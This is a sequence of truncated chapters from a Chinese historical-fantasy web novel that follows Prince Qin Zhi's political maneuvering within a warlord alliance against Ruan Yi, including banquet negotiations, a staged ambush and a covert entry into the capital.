“殿下我也是这么觉得的,哪有坐在食案前光看不吃的?”解祈安抻着脖子凑过来,“在下现在也急需进食,吃了东西才有力气动脑子啊!” “管那么多。”秦祉弯唇,一连串动作行如流水,相当自如道,“酒是好酒,端寿王有心。” 她将酒樽满上一杯,左手虚掩,侧身朝地上洒去,而后重新置于食案,身后童子见状忙上 41. 反悔 《白首相知犹按剑》全本免费阅读 用膳前的繁文缛节一环接着一环,这筵席之间则更甚,毋放饭,毋流歌,毋咤食,毋啮骨......毋固获,毋扬饭,饭黍毋以箸,毋捉羹,毋刺齿......【1】 一顿饭下来,解祈安连带着表情都蔫了,支棱着脑袋,百无聊赖的叹着气:“早知这场景,就该让周烁声来感受一番,让他整天嚷嚷着,嫌兰干有束缚,没有疆场舒服。” “食官看你呢。”贾文勰视线偏都不偏,开口便道。 话音未落,解祈安当即坐正了身子,面无表情地崩溃:“来个人砍了我吧,就现在!” 秦祉放下玉筷,道:“筵席结束便要商议讨阮一事了,你们去本王谒舍将东西拿来。” 解祈安:“什么东西?” 柏萧鹤懒散低笑一声,鼻梁那颗痣若隐若现地藏于发饰阴影处,侧颜利落分明,青金石吊坠耳饰随着动作微微晃动,他放下杯盏,起身从正门离去。 解祈安狐疑地快走了两步,追了上去:“他要取什么东西?城防图?路观图?” “出来了,舒服吗?”柏萧鹤淡淡道。 解祈安一怔,恍然道:“原来如此啊,他这人够意思啊!” 他单身搭在柏萧鹤肩膀,笑眯眯道:“但是你有点过于了解对方了吧?昭川城门前那档子事我可也听说了,你真的假的?” 柏萧鹤垂眸睨他,轻声道:“找死呢?” “怎么会,问问而已,猜测嘛......”解祈安大笑着松手朝前走去,说着又一顿,“但是......柏浪昭。” “你没有否认啊。” 下一秒解祈安拔腿就跑,这才堪堪避开柏萧鹤踹过来的那一脚。 这两人离去的动静不算大,一时也无人在意,宾客相互叙着话,唯有楚湛注意了一眼,但却并未吭声。 “你倒是关心。”葛向北促狭道。 秦祉表情不变:“毕竟是同盟,还指望着率兵打仗呢。” “是吗?”他只笑了笑。 “子赢叔。”秦祉突然道,“讨阮联盟另外两处盟会上近日来了信,欲推举樵阳太守周令为盟主。” 葛向北说:“太刻意了,不够自然。” 指的是秦祉顾左右而言他。 “谁说不是呢。”秦祉全当听不懂,顺着继续说,“当年楚珩还是天子的时候,秦相国不肯站队,朱太后唯恐不能把持朝政,便连同周氏一族意图发动宫变。” “可谁知朝堂之中有人早做足准备,编造文书将西州牧阮义和其下千名西丌军引到都邑,以此对抗朱太后。”秦祉微微阖眼,“那一日当真是满城风雨……” “那次朱氏败了。”葛向北说。 “是,没有人料到阮义会率人出现在那里,被杀了个措手不及,周氏一族连夜逃窜。”秦祉继续说,“也是从那时起,阮义开始干预朝政,扎根都邑。” “楚珩气的不行,连着木案都掀翻好几个,阮义杀不得,朱氏也不能动,就连逃走的周氏,因为是五世三公,追杀悬赏也只能作罢。” “而如今推周令为盟主,我想目的就是为了将当年弑杀天子一事改口沓舌。” 将周氏与阮义的西丌军从这事件中,调换位置,从此,阮义成为人人讨而诛之的乱臣贼子,而他周令,乃是救驾灭贼的有功之臣。 ---- 筵席悠悠步入尾声,秦祉这才得出功夫同陆绥并肩而行:“你哥人呢?” 陆绥偏头看她:“你就没什么想同我说的?” 秦祉狐疑地抬头:“说什么?” “楚湛让范无畏去查兑忧书斋,你别告诉我你不清楚今日燕会上那一出是两人一唱一和。”陆绥眉眼俊逸,睫羽被阳光覆盖笼罩下一层阴影,平添一份柔和之意,只是说出来的话却呛人的很。 “你怕什么?”秦祉挑眉反问,“你陆氏暗地里小动作搞了不少,怎么,怕被楚湛发现? “殿下,别诽谤啊。”陆绥微微扬颌,轻声道。 “咕噜咕噜...” 一道车辙压在石子路上发出的不大不小的声响,伴随而至的是一道内敛克制的温和声音:“仲安。” 来人一身影青色忍冬花纹锦服,额饰镶珠绿松石簪,耳带同色镂空吊坠,腰间玉组佩错落精致,一件薄墨大氅搭在肩头,衬着面色越发白皙,眉目淡然清俊,却又一股难以接近的冷傲。 “长兄。”陆绥一怔,上前两步。 那人端坐四轮车之上,平淡地瞧着秦祉,微微颔首道:“在下端寿陆氏,陆衎,见过晋赭王殿下。” 陆氏的长公子,也是现任陆氏家主,陆衎,陆伯端。 “原本昨日兑忧书斋走水后,殿下搭救仲安一事,在下就应当上门拜访,但只因在下腿部有疾,不易出门,还望殿下不要介意。” 秦祉视线不着痕迹地扫过陆衎衣袍下摆,传言中陆氏长公子腿有隐疾,因而常年卧于四轮车之上,竟不是虚言? 陆氏虽并非十姓,但也是家世显赫,如何会允许一个瘸子担任家主之位? 看样子此人当真不容小觑。 秦祉淡笑一声,跟着打起哑谜:“陆公子哪里的话,若非陆二公子倾囊相助,我们也未必能从那兑忧书斋中全身而退。” 陆衎闻言只缓缓收回视线,淡然牵了牵嘴角,抬手示意:“殿下,请。” ---- 燕会一事只能算是个开胃的小菜,众人彼此互相试探着,说说笑笑间也就罢了,燕会之后的谈判才是如同被各家虎视眈眈盯上的肥肉,这也是陆衎现身的原因。 “这事我不同意!”木案“哐当”一声发出声响,“凭什么要推举周令为盟主?他们周氏当年站错了队,被迫迁徙到翼州樵阳,他周令如今不过是个小小太守,如何当得起盟主之位?” “这话你有本事大可当着周令的面去说。”另有人阴沉着脸道,“人家五世三公,即便如今,周氏仍然门阀遍布天下,连阮义都不敢轻易杀他,你又有什么能耐不同意?” “你简直是放屁!周氏当了盟主,讨阮若是成,他周令必顺势抢攻,都邑天子尚且年幼,谁能保证他不是下一个阮义?” 这人嗤笑一声,冷嘲热讽道:“那你以为该推举谁坐稳这盟主之位啊?” 他头一扬,高傲道:“我自当认为是晋赭王殿下!” 你有病吧! 秦祉吃瓜的手一顿:“?” 她听见什么了? 贾文勰说:“在下以为不妥,主公毕竟是天子的皇表兄,他带领诸侯进军都邑,岂不是落人口舌?” “诛伐阮义 42. 托辞 《白首相知犹按剑》全本免费阅读 这群人一个个都哑了声,唯有安屿承从人群之中站了出来,揖礼道:“晋赭王殿下,不知可否问一下,这凭证是何意?怎的我们其他人倒是没听说过此事。” 秦祉偏头看去,惊讶道:“呦,这不是劭关安太守吗?” 安屿承伏身客气道:“能得殿下认识,实乃在下荣幸。” “也不是什么好名声,荣幸个屁。”秦祉低喃一声,这声音不大,唯有离得近的几人听了个清楚而已。 葛、贾二人早就习惯了她这做派,只是解祈安觉得新鲜,只觉这小亲王在兰干还算是收敛了不少。 “凭证自然是个好东西。”秦祉弯唇一笑,开始胡说八道,“这个凭证呢,不是寻常人便能拿到的,在座各位公子也是千金难求,才得了这些许荣光。” “正所谓巨舰只缘因利往,扁舟亦是为名来啊。【1】”秦祉偏头,崔颉妙将木盒放在案几上,前者轻轻敲着,发出点点声响,她长叹一声,“利呀……” “那、那我们王氏若是同意出粮草。”王家主犹豫道,“但也得知道王氏凭证签了多少啊?” “辅兵农夫运粮,士兵护卫,加之前线的全部兵力,都需要粮草供给,一共是……哦,阁主,尚且不知有多少兵力。”崔颉妙平静算道。 “这事儿问端寿王啊,这是你的地盘,你如何做决定?” 楚湛一瞬间瞪大了双眼,这人怎么回事? “看我做什么?”秦祉无辜道,“端寿王莫非不愿出兵?这可就有些难办了啊……” 楚湛勉强笑了笑:“我当然会出兵,只是我端寿骁勇善战之人不多,士兵可以出,可这领兵的将军,还得晋赭王多操劳了。” “怎么会呢?”贾文勰搁下手中的茶盏,“听闻端寿有位部曲督,名唤郇稻,可百步穿杨呢。” “他啊……”楚湛的笑容更僵了,“近日偶得风寒,几日了都不曾见好,本王就让他好好歇息了,所以领兵一事还得仰仗诸位才是。” “是吗?小郇将军如此,可否需要我们派人探视一二……”贾文勰了然,并附以热情的问候。 “你别逮着他一个人霍霍了。”秦祉咳了两声,唇不动声先行,“逼急了好咬人的。” “病气未好,别传染了各位才是,诸位心意本王代郇稻心领。”楚湛说着,微微舒了口气,提起几分兴致,“但柏将军不同啊,天下谁人不知常胜将军柏浪昭的大名,有他领……” “他也偶感风寒了。”秦祉毫不犹豫说。 楚湛:“……” 他朝着那人看去,只见柏萧鹤身姿挺拔,银戟凌厉,目光淡漠却有神,楚湛心道,自己若是上去踹一脚指不定倒下的是谁呢,晋赭王真是编的什么瞎话都不考虑一下实情。 莫名收到信号的柏萧鹤在众目睽睽之下微微偏头:“咳。” 太假了吧! 楚湛咬牙:“那司昀将军……” 秦祉手一指:“被他传染了。” “昨个不还带兵围了百戏坊,好个威风的吗?”有人狐疑道。 “何止啊,兑忧书斋门前也见到人了,跑的那叫一个快...” 秦祉微笑着,全当听不见。 楚湛无奈道:“这么下去也不是回事,葛太守,在座各位当属您为长辈,不知您可否有什么建议,说与我们一听。” 葛向北闻言抬眸:“我倒认为这事不急于一时,毕竟此次盟主乃是周令,尚不知他们徽康如何抉择,等他们有了信,再说我们哪位将军做前锋出征也不迟。” ---- 楚湛仅仅是讨阮联盟之中众多诸侯的一个缩影,这些人各自心怀鬼胎,互相提防,又谁都不肯出头。 “这个楚湛是半点力都不想出啊,照这么下去,联盟迟早得散。”贾文勰说,“依在下看,没有小半个月是不会行动的。” 秦祉狡黠道:“刚刚除了王氏,其余各家都未表态,叫司昀去送点大礼,逼他们动作都快点,讨阮这事属于大家既不想出力,也不想平白见别人抢了功劳,若是有人行动,剩下那些也未必坐得住。” “范家呢,那边着手调查兑忧书斋的话,你怎么做打算?” “这得问子赢叔了。”秦祉偏头,丝毫不客气,“他说他收尾呢。” 葛向北看她一眼,无奈说:“这事儿不必多想,范家查不到你头上的。” 秦祉弯眉嘿嘿一笑。 “阁主,陆氏家主现在廊下等候。”崔颉妙的声音横刀切断三人对话,秦祉犹豫片刻,叫二人暂且离去,迎陆衎进门。 “本王以为刚刚陆公子始终并未开口,是不打算掺和联盟一事了。” 陆衎神色平淡,闻言也只微微抬眸,露出那张波澜不惊的面若:“殿下妄言,陆氏既没有在兑忧书斋否认殿下那一番话,便是已然表明了立场。” “本王大概猜到了。”秦祉笑说,“只是端寿人尽皆知,陆二公子是春山居背后的靠山,而春山居与兑忧书斋千丝万缕,不必本王多说,你我都清楚兑忧书斋之后是谁,你陆氏如何与其合作多年,又突然放弃辗转于我呢?” “钓名之人,无贤士焉。【1】”陆衎虽然也轻笑着,但眸光之中的冷意分明,“乱世之中,在下欲保陆氏,求明主,自当不欲再与其同行。” “殿下不信任在下也属正常,在下自当献出诚意。”陆衎慢条斯理道,“三日之内,徽康必定来信,端寿会盟将抉出前锋。” ---- “第三日了,他们到底在搞什么?”解祈安在谒舍内辗转徘徊,气的连说话的声音都果决了不少,“这些人整天饮酒作乐、醉生梦死,哪里还有半点想要讨阮的意思?要我说咱们也别在这靠着了,还不如回了兰干了事!” 柏萧鹤面不改色,擦拭着银戟:“你慌什么,无论联盟最终如何,你只管看戏就是了。” 解祈安两步跨到柏萧鹤面前:“我是在乎那个吗?我是觉得不可理喻,阮义那边我可是听着信了,殷州西面被屠尽,凡是士族掌管之处,西丌军杀了个七进七出,阮义言行简直令人发指......” “我也是奇了怪了,他们联盟彼此互相戒备试探都无所谓,但为何迟迟没有下文,如今夜夜恒舞酣歌!” 他将一沓银票摔到木 43. 歃血为盟 《白首相知犹按剑》全本免费阅读 空气,陷入了死一般的静寂。 秦祉仅仅余光扫到陆衎,便觉得无法直视,这人骨子里透着一股士族长公子的傲气,言行举止间并非热于玩笑之人。 这人气性大不大啊…… 秦祉轻啧一声:“解祈安你丫喝多了吧你,怎么胡言乱语的。” 柏萧鹤笑容倒是转瞬即逝,只是泄露点点气音被秦祉精准捕捉到了。 “别乐了,这也是你惹出来的,你倒是说点什么。”秦祉深吸一口气,咬牙道。 柏萧鹤放下茶壶,颔首道:“元寿的意思是,误以为陆氏也同他人一样,前来贿赂送礼的。” “是吗。”陆衎面无表情,“在下想说的都已经说完了,殿下,我在军营等各位。” 他两只手推着车轮,面上不显情绪,但背影却略显慌乱,四轮车悠悠冲了出去。 半盏茶后,谒舍发出了一阵忍俊不禁的笑声。 秦祉笑着偏过头:“得了,人都走了,有什么直说就是。” 解祈安:“当真没关系?” “没完了?”柏萧鹤眯起眸。 解祈安当即缓了过来,放松笑道:“这不是也算为兰干思虑嘛,万一殿下真是色令智昏、贪图享乐之人,兰干这些兵力也没必要跟着一起耗着啊。” 秦祉抱臂瞧着他:“你是以为本王近日跟着饮酒作乐,怕是觉得我与那些人一丘之貉吧?” 解祈安没说话,保持微笑。 秦祉无所谓地摆了摆手,并不做解释,起身道:“军营请吧。” ---- “若是出兵,你可有意愿?” 柏萧鹤懒散地跟在后面,闻言掀起眼皮:“殿下的意思是?” 秦祉低声道:“徽康那端已经起兵,阮义是重心放在那边,北面或许是交战主战场,南下右翼有天桂山,天然屏障在此,阮义未必会过多重视。” “我的意思,或可直接混入杀进都邑城内,直取阮义首级,不等他们攻破城池,你觉得如何?” “想法够大胆。”柏萧鹤勾唇,漆黑的瞳孔中带了点野性,本就出色的五官平添一份邪气,“谋略呢,殿下?” “总不能是你随口一说吧。” 秦祉思忖两秒,说:“都邑城有内应。” 柏萧鹤呼吸一慢,只见对方挑眉欢快,气定神闲道:“本王亲临,岂会打毫无准备之仗呀?” 端寿北门外,各诸侯军营皆驻扎于此地,无数营帐外士兵走动巡逻,安屿承躲在人群之后,不易察觉的晃入楚湛营内:“殿下,您确定不派郇稻去前线吗,若是晋赭王他们那边真成了,功勋哪里还轮得到我们?” 营帐之内,楚湛连视线都不曾给予他,一心低眸看着木案上的舆图,说:“也不曾听闻安太守的意思,你可要亲自上阵?” “什么?”安屿承一愣,“在下还是......” “早听说安太守险些误入歧途,如今有证明自己的机会,何不踊跃一试,总归即便上了前线,手下那么多士兵,也不会真的丢了性命。”楚湛柔和笑道,“若是立下功劳,安太守未来的路可真是如履平地啊。” “话是这么说的,可是......”安屿承还想着辩解几句,不料楚湛却直接打断了他,说,“差不多是时候了,晋赭王应该已经到了,我们一同前去吧,安太守。” 楚湛眸光中尽是冷漠,安屿承这个蠢货的意思再直白不过,他怕兰干像当年一般对劭关出手,自己的太守之位摇摇欲坠,又不愿真心投诚,便意图寻觅靠山,可偏偏他找上自己的原因,并非别的,而是自以为他好拿捏哄骗而已。 楚湛余光扫到此人,心里缓缓落下了一步棋子。 “今日齐聚校场,需择出前锋,即刻出兵,不知诸位有何高见?”司昀站在高台之上,扬声喊道。 “高见谈不上,只是善战的将领迄今无人站出来,也不能指望我们这群人去领兵吧?” “就是,再者说了,我们本就无多少资源,哪还有能力担当前锋呢?” 司昀眼尾上挑,一副“果不其然”的表情,说:“是吗?可是我倒是从各位手上分别额外收到过不少军备粮草啊。” 这话一出,众人皆面色一变,象征性答应给晋赭王的东西都已经交出去了,什么叫额外收到的? 司昀下巴一仰,顺着他视线回头,大批辎重从面前缓缓驶过,颇有些耀武扬威的意思。 “这是谁私下里给的?” “你们居然还叛变?” “不可能啊,这谁能没脑子,给那么多出去,这不是疯了吗?” 当然不可能了。 司昀心道:那都是你祖宗我偷来的。 他清了清嗓,继续道:“晋赭王殿下都将各位一一记录在册,一旦讨阮成功,功劳少不了在座各位,还想给的现在还来得及啊!” “到底谁给了!” “艹,你问我我问谁,我还想知道呢!” 台下已然乱做了一团,贾文勰拍了两下手,示意大家安静:“诸位不必心急,粮草军备虽然够前锋部队,但后续打仗仍旧需要持续供给,这些自然不嫌多,你们大可考虑清楚再做抉择。” 他顿了顿,故意道:“啊,但是还是尽快为好,否则......” 威胁,赤裸裸的威胁。 贾文勰又是意味深长的一笑,故意避开话题:“当务之急还是择选前锋。” 楚湛匆匆赶来之时,刚好撞见眼前这一幕,贾文勰和司昀两人东一句西一句,兴致勃勃地挑拨离间,他随意翻开了一箱,暗自心惊,竟真让他们拿到了? 他理了理衣襟,抬步而去,打断道:“前锋一事等晋赭王来时再议如何?” “我来了!”话音刚落,秦祉声音便传了过来,她高喊着,出其不意地跳上高台,赫然现身在眼前,楚湛惊的后退两步。 秦祉笑道:“诸位久等,本王来迟了。” “来的真是时候。” 秦祉一摆手:“那是。” 楚湛:“……”不是在夸你。 “今日校场无非是为诛讨阮义择选前锋。”秦祉面向台下众人,说,“天下苦阮义之祸良久,致使各地战火不断、百姓流离失所,此人生性残忍、泯灭良知,是以惹怒天下英雄豪杰群起而攻之!” “如今讨阮 44. 埋伏 《白首相知犹按剑》全本免费阅读 “那人一看就是被楚湛推出来的,你让他跟着做什么?”军队休整时,柏萧鹤将扁壶扔过来,靠着树干问。 秦祉接过仰头喝了一口,说:“咱们出兵,没有他的人当前锋他自然不会同意,可郇稻他怕是有别的用处,也不愿派出,安屿承自己想要换个站队,他自然顺水推舟卖个人情。” “只是安屿承没曾想楚湛竟然能把他推出来罢了。”秦祉笑了笑,“我们坑了楚湛手下不少粮草,送他个前锋官也没什么问题。” “都邑内应一事如何瞒得过他?”柏萧鹤垂眸轻哼,“指定没憋什么好屁吧?” “说什么呢,我这可是八月半的月亮。”秦祉将扁壶随手怼他手中,直起身朝远处喊,“差不多了各位将士,上马出发!” 端寿离都邑不算远,加之二人只率领百名轻骑精兵,不过短短数日就已赶到沧州边界。 春光乍暖,沄江江面冰雪消融,宛如玉石镶嵌万里大地,落霞之下万丈金光,薄雾缭绕、山河辽阔,放眼望去波光粼粼,浮光跃金。 “过了此江就是都邑。”微风横扫江面,岸边杂草迎风晃动,发出“沙沙”声响,周遭显得无比静寂,秦祉立马望向对岸,说道。 “人不能都渡河,不然一旦需要撤离,没个接应容易全军覆没。”柏萧鹤双腿微夹马腹,纵马上前几步说,“得有人带部分人马在此等候。” “我可以!”安屿承闻言险些激动的从马上掉下来,他连忙喊道,“在下愿意成为殿下与将军的后盾,在此负责后翼与撤退的诸多事宜!” “你守在江南?”秦祉缓缓转头,不置可否地睨着他,“倒是会给自己选个好职。” “殿下。”安屿承讨好地笑着,“实在是在下对带兵......” “安太守是先锋官,怎么能留在这?”柏萧鹤突然打断道,“管乔,你留下。” 这是柏萧鹤营中的直系部下。 安屿承笑容僵在了脸上,别说都邑能不能胜还是未知数,单是想阮义那厮的名声,以及自己投诚又背叛的事实,他就止不住的怕,追其原由,不过二字而已,怕死。 秦祉默不作声地收回视线,低声道:“你挑司昀手下的人跟着一起过河,做好都邑城外随时接应的准备。” 崔颉妙点头问:“阁主,不需要朔昭阁死士跟你一起入城吗?” 秦祉摇头:“人多容易成为目标。” ---- 沄江足有两里宽,过江人数不足来时一半,众人上了从附近调遣来的渔船,浩浩荡荡地横跨江面而行。 旭日春风已然携一股暖流荡漾在江面之上,渔船船头,秦祉视线落到望不到边际的对岸,复而仰头看向余晖落影,心道:差不多是时候了。 崔颉妙附耳低言:“王渊来信说,已经准备妥当了。” “城内接应的人呢?”秦祉问道。 “是段女公子。” 段姝焉。 当年出手相救秦祉的都邑第一才女,如今正是朔昭阁在都邑据点的首席。 渡江可谓风恬浪静,安屿承一心防备着,躲在船舱里不敢出去,生怕那两人想要在江中解决自己,直到渔船靠岸,安屿承这才放下心来,快步上了岸。 风吹草动,发出“沙沙”声响,秦祉眼眸一眯,似乎听到了什么动静,旋即食指一动。 “射!”这道声音果决干净。 丛林之中,赫然飞过一只铁铸的大箭,气势如虹、雷霆万钧,以破铠甲之势猛地钉向渔船。 顷刻之间,血花半空盛开,穿透安屿承半只臂膀,只听他惨叫一声,连滚带爬的扑倒在地:“快来人!有刺客!” “艹。”手持大弓之人见状低骂一声,“什么破箭。” 旋即又搭上一只箭羽,瞄准地上胡乱躲进士兵堆里的人,半天也没找到这人的要害:“啧,真是麻烦。” 秦祉冷眼瞧着安屿承,无奈的叹了口气,手一挥说:“我们的兵力不多,不能在这地方损耗一兵一卒,所有人原地戒备即可,不要恋战。” 而后又温和道:“安太守,对面尚不知是何人,不若来船舱里躲一下?” 安屿承大抵是慌了阵脚,连忙点头附和,起身便往船舱里窜,但他不曾料想,这一动,正是给了敌人可乘之机。 秦祉好心似的伸手扶了一下,视线却幽冷地看着远方,下一秒,那道破空的尖锐声响再度现身,安屿承甚至并未做出什么反应,只觉胸口剧烈的刺痛,一股股鲜血奔涌而出,溅在秦祉衣角。 而面前的小亲王,此刻似笑非笑地望着自己。 “你......”安屿承失了力气,声音断断续续,却带着溢出的恨意,“你要、杀...我......” 秦祉不再看此人,手不过微微一松,只听“扑通”一声,沉重物体落入江面发出的声响,旋即江水泛起一片血红。 冷漠、果决,连着杀人都是那么的干净利落。 这才是秦祉能够稳坐梌州晋赭的原因。 柏萧鹤不着痕迹地观察着她,缓缓勾起唇来。 “殿、殿下?”有士兵近乎震惊地看着沉入沄江的安屿承,一时没搞清楚状况,那不是劭关的太守吗?怎么会在这沄江旁死的如此草率? 秦祉正色道:“我们此番出征,于沄江对岸遭遇劫匪埋伏刺杀,安屿承安太守不幸殒身,本王深感悲凉,可此战未果,其尸身无法还乡,因而特此将其葬于沄江旁。” 晚风吹散最后一点血腥气,冠冕堂皇地话说到此也就够了,秦祉并不在意这些人信不信。 远处树丛一动,有一人灰头土脸地跑了出来,他穿着一身玄色布衣,踉踉跄跄的模样,若非手中大弓铸造灿若霜雪,非无名之器,还真不容易让人疑心此人的身份。 此人目光亮而有神,行礼洒脱随意,道:“朔昭阁密探陆赟,见过阁主。” “箭法有点退步。”秦祉调侃道。 陆赟拍了拍身上的土,说:“多长时间都没机会练了,有些生疏,见谅、见谅。” “这位就是柏萧鹤将军了吧!”陆赟大笑两声,抱拳道,“在下射声校尉陆赟。” 柏萧鹤凤眸微微抬起,颔首示意,并未多言。 陆赟不甚在意对方的态度,只蹲在河边,用手舀起一捧水,胡乱搓了搓脸上的泥,咬字不清道:“王贡闻那家伙半点谱不靠,跟我说阁主你们未时就到,我在这趴了能有两个时辰,叫虫子都要咬死了也不见船来......” 王渊、王贡闻,是朔昭阁在天桂山脚下,乌庆县据点里家书苑的掌柜,负责协助 45. 都邑城 《白首相知犹按剑》全本免费阅读 崔颉妙领所有人藏匿于都邑城南门外,唯有秦祉、柏萧鹤二人偷偷混入城中,如今战火一触即发,城内一时风声鹤唳,百姓惴惴不安。 “如今屠玉已然成了中郎将,势力比之前更盛,因而都邑内行事需万分小心才是。”陆赟牵着马,低声道,“尤其你们二人身姿样貌格外显眼,等会儿我差人给你们备套妆奁,记得画丑点啊。” “屠玉不会知道有人进了城,何况北面战事临近,他们分身乏术。”秦祉说,“段姝焉可交代了,要在哪会面?” “李家的偏府。” “李家......”秦祉思忖两秒,诧异道,“李隽?” 风携一片落花,如闲庭散步,青苔石瓦中跳动辗转,继而翻过夯土墙,安扎泥土。 “女公子,屋内茶食已准备妥当。”院内,一侍女朝着那道背影行礼道。 眼前的人微微侧首,含笑道:“都下去吧。” 段姝焉葱白的手指轻轻划过树干上的洁白花瓣,一股清香残留,往日记忆中的半点残念也随之飘荡在眼前。 那日出手相救秦祉,并非是头脑一热的行为,而是她下的一个赌注,如今想来,她竟赌对了筹码。 五年前。 朝阳悬挂,缕缕金丝洋洋洒洒,铺的古道青苔泛起点点星辉。 漫山青翠、潋滟晴光,三三两两结伴而行的身影在这古庭长廊传来阵阵嬉闹。 都邑城西郊。 年年岁岁皆是如此,高官达赫家的子弟总归会于此处乐得赏景作画,策马摘花,惬意舒雅的好不自在。 可如今正逢燕安十八年,是天下动荡之始。 “哎,段姐姐!可把你盼来了,我早已等候多时,还请姐姐受我一礼!”亭下姑娘李隽说着弯了膝,也不顾其他,便要朝着那地跪下。 “万万不可。”段姝焉伸手轻扶,将她带起身,“你这是何故?” “父亲瞧不得阮义祸乱朝纲,因而上书天子,却被阮义以意图不轨之名逼天子处死我父亲......”李隽语气颤抖,目光含泪道,“都因段姐姐一句话,段廷尉肯帮我父亲这一忙,才索性留得性命,没有叫阮义得逞,我自当万分感谢也不为过。” 李隽的父亲,是天子近臣,黄门侍郎李苑。 段姝焉闻言轻笑,衬得面容格外娇嫩艳丽:“举手之劳而已,更何况当日也并非我兄长一人,听着人说,秦相国也出言相助。” “是,因而我曾书信邀了秦家女公子同游,可她并未同意。”李隽说道,“听闻她今日会现身西郊,特来寻觅。” “哎呀,难得挑了个好时候,我们姐妹同游,你何苦想那些,她不愿理你你也不管她,顾着自己高兴便是。”旁的姑娘忍不住出言讥讽两句。 实属这所谓的秦相国家的女公子自幼长于都邑,这城中大小官员的女眷却皆不得一见,多少也有些抱怨,觉得那人故作清高似的。 “更何况段姐姐今儿明艳动人,当真稳稳坐实了都邑城第一美人的名号。”姑娘又转而调笑道,惹得段姝焉目光冷冷淡淡朝她一扫。 “休要胡说,众姐妹才情样貌皆为出众,在我之上也有之,更匡论传言中相国公嫡女才华横溢,岂是你我之人可以比拟。” “她?”那姑娘捂嘴一笑,“才华暂且不提,我们每逢春季踏郊赏景,几次三番邀请她也不曾出现,如今可另有一番言论,说这相国公嫡女实则是见不得人……” “咳。”段姝焉冷眼一睨,眸中满是警告之意,惹的那人瞬时噤了声。 “天子年少,继位不稳,逢各地豪强蠢蠢欲动,正是用人之际,相国公恰是当今天子最信任得力之人,其膝下仅有一子一女,长子秦赜数月前被封爵秉铎,嫡女秦祉尚且不过十六,却得府中宠爱于一身,这便是尊。” 段姝焉慢条斯理,细细说道,“即便是我兄长,那也是对其毕恭毕敬,更况论我们,是万不可私下议论,你如若改不了这陋习,怕是来日惹祸上身。” “……姐姐教训的是,我再不说了。” 段姝焉没再看她,步伐轻盈地点地,朝着远处行兵列阵探去:“不过,今日可叫咱们开了眼界,素日里杜绝与外人往来的秦淑女终究是被葛卫的名声引了来。” 段姝焉目光远远打量在远处兵戈铁马之上的高台的身影,辗转间微风拂荡,看不清样貌,只单从那宽肩窄腰的身段推测出囫囵大概来。 “退--!”一面赤色军旗破空一扬,掀起阵阵余风。 接踵而至则是一阵“轰隆”作响。 烈日炎炎下,那少年青色复缕长袍着身,端坐于席上,冷眉俊眸略显深沉的盯着面前旋木机关而制的兵阵。 身侧下属微躬屈膝,将一盏清茶轻置台面:“先生,请。” 葛卫只抬手一止,嗓音带着少年的清哑和孤傲:“你来看,这阵该如何解?” 那人回身端详那硕大兵阵,半响垂眸道:“回先生,属下以为,诱敌深入。” “何解?”葛卫端起茶盏,抬眸看他,凉薄的眼中透露少许兴致。 “此人生性激进冒险,几番交手势如破竹,如此看来只需多加利用,冲的他头脑不清,便可诱敌深入,一网打尽。” 葛卫闻言轻笑:“你可知这敌军背后可是由谁操刀?” “这……属下不知。” “秦相国嫡女,秦祉。”葛卫将茶盏轻扣台面,修长的手指敲击摩挲瓷器,“传言果然不虚,倒是有点意思。” “秦相国的…嫡女?”下属吃了一惊,“这、这敌军背后竟是一女子?” 葛卫只笑而不语,重新审视场上扑朔迷离的局面。 那场战局焦灼了整整半个时辰,最终胜局已定时,高举的是葛卫的战旗,满台之上,那些个王公贵族无一不恭贺着: “早听闻小葛将军的英明,不曾想小小年纪竟有如此布局排兵的本事,前途无量,前途无量啊……” 葛卫神色平淡地瞥了一眼那人,似乎不能懂这恭维是从何而来。 落台之上,嘁嘁杂杂的声音此起彼伏,主位的公子便扇一摇,朱玉扇坠微微舞动,面若桃花,趺坐在榻上,一时间爽朗大笑着叹道:“你们啊......” “最要然然可可,万事称好。【1】” 这话说的轻浮,见惯了名利场客套话的都邑世家不禁皱起眉,一瞬间,众人皆失了声,面色都不怎么太好看。 “花中郎将这话是何意?”这人带着点怒气,冷眼看他,“诸君也不过是觉得小葛将军年少有为,夸赞几句而已,何来阿谀奉承之说?” “你是哪位?”花颖慈 46. 故人 《白首相知犹按剑》全本免费阅读 “想什么呢,这么出神?”陆赟“啪”的在对方眼前打了个响指,段姝焉一怔,回头看去,惊喜道:“阁主,你终于回来了!” 她近乎是整个人扑了过去,狐毛的斗篷贴着,将脸埋进秦祉颈间,气音微微颤抖着:“好久不见了,真的好久不见了......” 这一举动,段姝焉不觉有问题,陆赟自然也是如此,神色平静的出奇,唯有柏萧鹤脚步不易察觉的一顿,视线流转到段姝焉埋进去的、可谓是毛茸茸的脑袋,以及秦祉那疑似充满温和的侧颜。 啊? 秦祉伸手轻轻拍了拍她的脊背,说:“好了,外边儿冷,别冻坏了,进屋说。” 柏萧鹤:“……?” 屋内烛火幽幽,香炉带着一股暖意静置堂下,段姝焉缓和了情绪,这才开口:“我从王渊那里得到消息,说天下数十路诸侯要共同讨阮,猜到晋赭也许会加入其中,便提前做好了准备。” “五年时间,都邑城变化不可谓不大,兄长如今官职未变,仍掌管谳疑,这期间凡是意图谋逆阮义,或是他看不顺眼之人,通通下至诏狱。” “我观之有人可以为阁主差遣,便暗中调了人,藏匿在地窖。” “是谁?” 段姝焉傲然弯唇:“中常侍之一,年禧。” 秦祉呼吸慢了半瞬,她侧首与柏萧鹤对视,撞入后者猜疑的神色,反而一愣:想什么呢? 柏萧鹤目光淡淡往段姝焉的方向一瞟,又十分自然地收回,默默品茶,搞的秦祉莫名其妙。 “可信吗?” 段姝焉点头道:“可以,虽在燕隋帝时就是宦官当道,中常侍骄纵奢靡,至使朝纲大乱,国家动荡,但无论如何,中常侍奉命于天子,天子有难,他们这群人更是岌岌可危,阮义诛杀燕明帝,挟持皇子芃上位,夺拦生杀大权,中常侍不恨他才怪。” “尤其年禧的干爹,中常侍之首于宫变之日后,多方势力恶斗,最终惨死阮义之手,因此年禧蛰伏数年,就是为报仇雪恨。” “以中常侍对皇宫的熟悉程度,他若真能协助我们,倒是省下不少功夫。”陆赟叹道。 段姝焉目光期期地看着秦祉,后者是思忖两秒,说:“这人暂且留着,我们未必会进宫。” 陆赟狐疑道:“不进宫,如何杀阮义?” “我有时候很好奇。”秦祉似笑非笑地看他,“你这个脑子是如何让林氏将你推举到射声校尉的官职上的?” “干什么,人身攻击啊!”陆赟眉峰一皱,往后撤了撤身,佯装悲愤谴责道,“你现在是富裕了,周围谋士能人层出不穷,就忘记了当年为你上天入地的我了?” 